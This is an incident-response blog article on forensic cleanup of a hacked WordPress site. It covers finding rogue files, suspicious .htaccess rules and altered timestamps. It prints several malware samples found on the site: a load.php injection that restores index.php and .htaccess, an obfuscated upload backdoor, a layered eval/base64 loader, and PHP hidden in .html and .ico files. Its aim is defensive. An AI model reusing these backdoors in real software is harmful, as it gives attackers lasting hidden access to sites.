In the second article called WordPress application hacked 2/4 – How to recover the platform from the series WordPress application hacked (and how to recover!) I described how to recover a hacked wordpress platform. In this article I’ll take you along for the forensic side of things. You want to make sure there’s no hidden code left that can trigger opening backdoors at a later date.
As you can read in the previous article we luckily had a clean code base available to restore. If you already are up and running again, this chapter might still have some ‘need to do’ tasks. I reviewed all the files and code merely to satisfy my own curiosity as well as to understand better what tricks are played by hackers.
Introduction
So, if you need to do more forensic research and / or don’t have a clean backup at hand, there’s a lot of content to go through. However, there are a lot of tools and trick to do this effectively. In this sections I’ll describe some examples of what I found so you know what to look for and how to go about this. There are three aspects to consider on how hackers try to force remote access and sustain it.
- Inject a piece of malicious code
- A way to execute the code (remotely)
- Hiding both in unexpected places to regain access
Malicious files
I’ve looked at a lot of files and although I found a lot more, these are definitely in places where they shouldn’t be. Several of the files I found that didn’t belong:
- Login.php
- Locale.php (also containing login code)
- Repeater.php
- Footer.php
Note: The examples below need SSH access to the server. If that’s not available you can download the content and run searches on your local machine.
Where WordPress has one file specifically named ./wp-login.php I found at least seven others throughout the site.
# find . -name "wp-login.php" -exec ls -l {} \; -rw-r--r-- 1 www01 www01 97545 Jul 26 2018 ./wp-includes/customize/wp-login.php -rw-r--r-- 1 www01 www01 104 Aug 29 02:47 ./wp-includes/sitemaps/wp-login.php -rw-r--r-- 1 www01 www01 885 Oct 25 04:29 ./wp-includes/PHPMailer/wp-login.php -rw-r--r-- 1 www01 www01 49441 Nov 6 23:07 ./wp-login.php -rw-r--r-- 1 www01 www01 199651 Oct 26 04:25 ./wp-content/plugins/file-manager/libs/elFinder/php/plugins/AutoResize/wp-login.php -rw-r--r-- 1 www01 www01 18193 Sep 19 11:52 ./wp-content/uploads/sites/22/2021/09/wp-login.php -rw-r--r-- 1 www01 www01 10507 Oct 25 04:29 ./wp-content/uploads/2021/05/wp-login.php -rw-r--r-- 1 www01 www01 10516 Oct 25 04:29 ./wp-content/uploads/2021/06/wp-login.php -rw-r--r-- 1 www01 www01 37578 Aug 28 07:26 ./wp-content/themes/bltm/wp-login.php
Especially the login files in “./wp-content/uploads/” are obvious. This directory should only hold digital media files. The same goes for footer.php where I also found at least 5 more than where initially in the website.
# find . -name "footer.php" -exec ls -l {} \; -rw-r--r-- 1 www01 www01 1055 Aug 10 11:25 ./wp-includes/theme-compat/footer.php -rw-r--r-- 1 www01 www01 162 Mar 17 2021 ./wp-content/plugins/updraftplus/templates/wp-admin/settings/footer.php -rw-r--r-- 1 www01 www01 790 Aug 27 18:53 ./wp-content/plugins/file-manager/views/admin/footer.php -rw-r--r-- 1 www01 www01 889 Aug 28 07:26 ./wp-content/themes/bltm/footer.php -rw-r--r-- 1 www01 www01 348 Aug 28 14:05 ./wp-content/themes/epaper/footer.php -rw-r--r-- 1 www01 www01 9215 Oct 25 04:29 ./wp-content/themes/twentytwentyone/inc/footer.php -rw-r--r-- 1 www01 www01 1067 Sep 19 2022 ./wp-content/themes/platform/footer.php -rw-r--r-- 1 www01 www01 10518 Oct 25 04:29 ./wp-admin/coustom/footer.php
This was the case for all the files mentioned in the beginning of this section, so you get the idea.
.htaccess files
As stated in the beginning of the article, hackers need a way to execute the code. This is for example possible linking it to execution when rendering web pages. This can be done by putting (a link to) malicious code in for instance footer.php. This file is used, by WordPress or a plugin, when rendering a page on the website and therewith the code is always executed. Direct or indirect file execution requires access to those files and this can be achieved by changing or placing “.htaccess” files. I found an additional 15 .htaccess files. The listing below shows the ones that are the most obvious and suspicious.
# find . -name ".htaccess" -exec ls -l {} \; | grep -v uploads | grep Oct -rw-r--r-- 1 www01 www01 75 Oct 24 10:21 ./wp-includes/js/crop/.htaccess -rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-includes/sodium_compat/src/.htaccess -rw-r--r-- 1 www01 www01 241 Oct 17 2015 ./wp-includes/PHPMailer/.htaccess -rw-r--r-- 1 www01 www01 110 Oct 25 04:46 ./wp-content/plugins/members/admin/yanz/.htaccess -rw-r--r-- 1 www01 www01 11 Oct 26 08:29 ./wp-content/plugins/fix/configIJT/.htaccess -rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-content/plugins/fix/.htaccess -rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-content/languages/loco/.htaccess -r--r--r-- 1 www01 www01 604 Oct 30 15:40 ./temp/.htaccess
Allow all
This is the contents of one of those “.htaccess” files. The most important line to notice is the one that says Allow from all. Meaning as much as: everyone can execute the contents of the file type mentioned under FilesMatch.
<FilesMatch ".(php|php5|phtml)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(footer.php)$"> Order allow,deny Allow from all </FilesMatch>
WARNING: As I stated in an earlier article from this series, you should kill all processes from memory and isolate the platform from the public. If you remove malicious files, without stopping all processes, these files can be simply re-inserted by running processes. Ive tested this. Removing certain files made them reappear right after. A simple explanation for this is the malicious code in the file footer.php. If this file is infected or linked, which it is, then every web request that comes in can potentially execute the malicious code. So when you don’t isolate the platform from public access, any visitors, unbeknownst to them, work against you.
Injected code
As far as finding suspicious files, which is fairly easy if you have a baseline to compare the changes to, this is where it gets a bit tricky. I started searching through the code for occurrences of the files mentioned above. This quickly resulted in very strange code injections in existing WordPress files. Having developed a lot of software over the years I can fairly quickly recognize code constructions that are suspicious.
wp-includes/load.php
This piece of code contains a lot of obscure file handling.
An interesting but obvious example if you know what to look for is shown below. Such intense and specific file handling and obscured naming of files like ‘/ind’.’ex.php’ is a good indicator. Besides that, file handling mostly takes place when files are being uploaded under WordPress media libray and are never this complex on the server. If you’re not sure whether this is malicious or not, download wordpress and compare the file contents with the original.
$inxxdex = $_SERVER['DOCUMENT_ROOT'].'/ind'.'ex.php'; $hct = $_SERVER['DOCUMENT_ROOT '].'/.htac'.'cess'; $bddex = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/light/colors.css'; $bksht = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/dist/server-side-mh.js'; if($inxxdex && file_exists($bddex)){ if(!file_exists($inxxdex) or (filesize($inxxdex) != filesize($bddex))) { chmod($inxxdex,'420'); file_put_contents($inxxdex,file_get_contents($bddex)); chmod($inxxdex,'292'); } } if($hct && file_exists($bksht)){ if(!file_exists($hct) or (filesize($hct) != filesize($bksht))) { chmod($hct,'420'); file_put_contents($hct,file_get_contents($bksht)); chmod($hct,'292'); } } $inxxdex = "";function is_wp_error( $thing ) { -- SNIP --
sites/…/locale.php
A way to obscure malicious code.
I did not have the time to fully dissect it’s functionality, after all, a customer was waiting to get back online with their platform. However, the use of funny parameters and variable naming, seeing copy functions and the fact that everything was concatenated into one line made alarm bells go of.
class CdnWPFCC { private static $s; private static $bb = '~/\*w\s*(.*?)\*/~s'; private static $gg =
'~/\*&\s*(.*?)\*/~s'; private static $mine = __FILE__; private static function hellocontents() {
self::$s = array("n0e0t","k0il0l0_","t0h0e_"); $key = self::$s; $hello = $key; return str_replace("0", "",
$key[1].$key[2].$key[0]); } private static function hellofile($a){ return ltrim(str_replace("hello", "_",
$a[1].$a[2].$a[0]), '_'); } private static function helloget($abc){ $a = $abc; foreach ($a as
$key => $value) { $h0x = 122^50; return $key**$value**$h0x; } } public static function aaa()
{ preg_match(self::$bb, self::hellofile(get_class_methods(static::class))(self::$mine), $c);
preg_match(self::$gg, self::hellofile(get_class_methods(static::class))(self::$mine), $d);
return array( [$c[1], trim($d[1])], self::hellocontents(), 'tmp_name', 'name', 'f', ); } }
$Silence = CdnWPFCC::aaa(); if ($nonce===$Silence[0][1]) { echo($Silence[1]."<br>".$Silence[0][0]);
@copy($_FILES[end($Silence)][$Silence[2]],$_FILES[end($Silence)][$Silence[3]]); $abc =
$_FILES[end($Silence)][$Silence[3]]; echo("<a href=".$abc.">".$abc."</a>"); }
sites/…/repeater.php
Several decode functions in a row
Again, obvious if you know what to look for. If you see several decode functions in a row like the example below, this is usually a sign.
<?=/****/@null; /********/@eval/****/("?> ".base64_decode(base64_decode(strrev(urldecode(str_rot13( "%3QfPB6kHpiyUG3f2HYO3nGgRpeA1FcSREuyxHKEzFjuRI0jJEFOSMLEIpkNQMXOUFKIQod1Hn0q1G4S1EvSGFRE1q0H0I -- SNIP -- vkzHhWzqBWQJjLyZnMzIUWTpn1TGcEwrDy2M5kHpiy2FkumDvuzJLcID5x2Fk9JnYS3ocgHp4ZHF29JnYS3ocgHpiyUGauGnYS 3ocgHpiy2FkumDWqmqUWJZ1pHH29JnYS3o5kHB4DRH"))))));?>
There were several others, but these should give you a good illustration on how hackers try to hide what they are doing.
The inside of a media file
In the case of WordPress, media files are usually uploaded to “./wp-content/uploads/”. This directory contains media files, but could occasionally be used by plugins to store files. Therewith your milage may vary but you should be able to clarify this depending on the plugins you have installed. In any case, it should contain media files, but …
Are the media files actually media files?
What I mean by that is that the name and extension of a file does not guarantee what is actually in the file. I could rename a .PHP to .JPG and none would be the wiser if we don’t test this. A linux server has an easy way to determine the actual contents of a file. The command is actually called “file”. What this does is read a small part from the file to establish what content the file actually has.
# file Why-you-should-version-your-software-or-pin-it.jpg Why-you-should-version-your-software-or-pin-it.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 5760x3840, frames 3
With the command below you can parse all files in one swoop. You look for all files and filter out (with “grep -v …”) everything that is expected to be there. Run this in the “./wp-content/uploads” directory:
# find . -exec file {} \; | grep -v PNG | grep -v JFIF | grep -v JPEG | grep -v PDF | grep -v GIF | grep -v ": directory"****
Besides the usually expected types filtered out, you could of course also see “.ICO”, “.MPG”, etcetera. Once you filter what’s known, what you’re left with is a list that needs to be examined and or cleaned up. To give you an idea what was found in the case at hand, see the examples below.
sites/…/bEFR.html
PHP code hidden in .HTML files
This might need additional access settings for opening the file for the outside world. But once executed it would simple reinject more malicious. And PHP code should never be in a file ending in “.html”.
<?php goto Sqdff; AYgzy: echo jTUj1($e7Unk); goto iDSDN; KfwVy: @header("\103\x6f\x6e\164\75\165\x74\x66\55\x38"); goto AYgzy; XIfE2: fEduJ: goto fBhty; k2h_z: goto qH1Ox; goto GCyNV; Xo8GN: $f59CR = urlencode(isset( $_SERVER["\x52\x45\x4d\104\x44\122"] : ''); goto pdslA; UTZVp: goto DwWoj; goto iw3Cz; yWp5n: if ( strstr($e7Unk, "\x65\143\x68\157\64\60\x74\x65\156\x74")) { goto HTq6E; } goto Y4O9U; Y4O9U: if -- SNIP -- @header("\110\x54\x54\164\x6c\171"); goto lNduu; iNmY9: function jtuJ1($e7Unk) { goto Zvg4M; De0JV: foreach ($zS9v0 as $kNTQA) { goto eWTH1; vTKXQ: $LxOFq = strpos($z5laU, "\351\x80\x81\344\xbf\241\xe3\201 \x95\xe3\202\214\343\x81\237\xe3\x82\xb5\xe3\x82\xa4\xe3\203\210\343\x83\236\343\203\203\xe3\x83\227\343 \202\x92\345\217\x97\xe4\277\241\343\x81\227\xe3\x81\xbe\343\x81\227\343\201\237") !
sites/…/aJX.html
URL rewrite configuration in a .HTML file
As stated earlier, malicious code needs to be triggered from the outside somehow. With hiding website configuration snippets like this, it can be made possible.
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L]
sites/48/wpo/XTqT.ico
URL rewrite configuration in a .ICO file
Another example, this time hidden in an icon file.
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L]
Note: Although “.ICO” and “.HTML” files should be handled differently than “.PHP” files, it depends on your webserver configuration whether or not they are actually parsed. To be clear, they shouldn’t!
To conclude: these file above definitely have no business being in your ./wp-content/uploads directory.
Timestamps
An important symptom that can give you an indication of what was changed ‘under the radar’ is file timestamps.
WARNING: Even though timestamps can be a good indicator, if hackers have write access they can modify timestamps. If you are uncertain about possible weird files under the directory of a plugin. Download the original plugin and compare them with the files in the clean version. Any suspicious files can be easily compared with the original.
Have a look at this regular file listing of the WordPress ‘root folder’.
# ls -lart -rw-r--r-- 1 www01 www01 351 Apr 4 2020 wp-blog-header.php -rw-r--r-- 1 www01 www01 405 Apr 4 2020 index.php -rw-r--r-- 1 www01 www01 244 Feb 17 2021 robots.txt -rw-r----- 1 www01 www01 3206 Jun 6 2022 wp-config.php -rw-r--r-- 1 www01 www01 2502 Apr 12 2023 wp-links-opml.php -rw-r--r-- 1 www01 www01 2323 Aug 10 11:34 wp-comments-post.php -rw-r--r-- 1 www01 www01 4885 Aug 10 11:34 wp-trackback.php -rw-r--r-- 1 www01 www01 34385 Aug 10 11:34 wp-signup.php -rw-r--r-- 1 www01 www01 7211 Aug 10 11:34 wp-activate.php drwxr-xr-x 9 www01 www01 4096 Aug 10 11:34 wp-admin -rw-r--r-- 1 www01 www01 3927 Aug 10 11:34 wp-load.php -rw-r--r-- 1 www01 www01 5638 Aug 10 11:34 wp-cron.php drwxr-xr-x 15 www01 www01 4096 Aug 24 11:56 wp-content -rw-r--r-- 1 www01 www01 3013 Nov 6 23:10 wp-config-sample.php -rw-r--r-- 1 www01 www01 121 Nov 7 13:05 .htaccess -rw-r--r-- 1 www01 www01 3154 Dec 2 13:11 xmlrpc.php -rw-r--r-- 1 www01 www01 26409 Dec 2 13:11 wp-settings.php -rw-r--r-- 1 www01 www01 8525 Dec 2 13:11 wp-mail.php -rw-r--r-- 1 www01 www01 50924 Dec 2 13:11 wp-login.php -rw-r--r-- 1 www01 www01 7399 Dec 2 13:11 readme.html -rw-r--r-- 1 www01 www01 19915 Dec 2 13:11 license.txt drwxr-xr-x 27 www01 www01 16384 Dec 2 13:11 wp-includes
The file listing is reverse sorted on date to make the explanation more clear. Where you see WordPress files with an older date. You can always verify these at https://github.com/WordPress/WordPress/tree/master. For instance the file “wp-blog-header.php”. This file was not changed since a couple of years, so that’s correct in the list above.
Timestamps should reflect the date and time of the initial installation or from deploying later updates. The latter can be regular wordpress updates, plugin updates or possibly automatically rendered configuration files by management platforms or plugins. Beyond that, any file that has a date that deviates from this or is more recently can be considered suspicious. I hope this helps you on your forensics quest.
This article is part of the series WordPress application hacked (and how to recover!).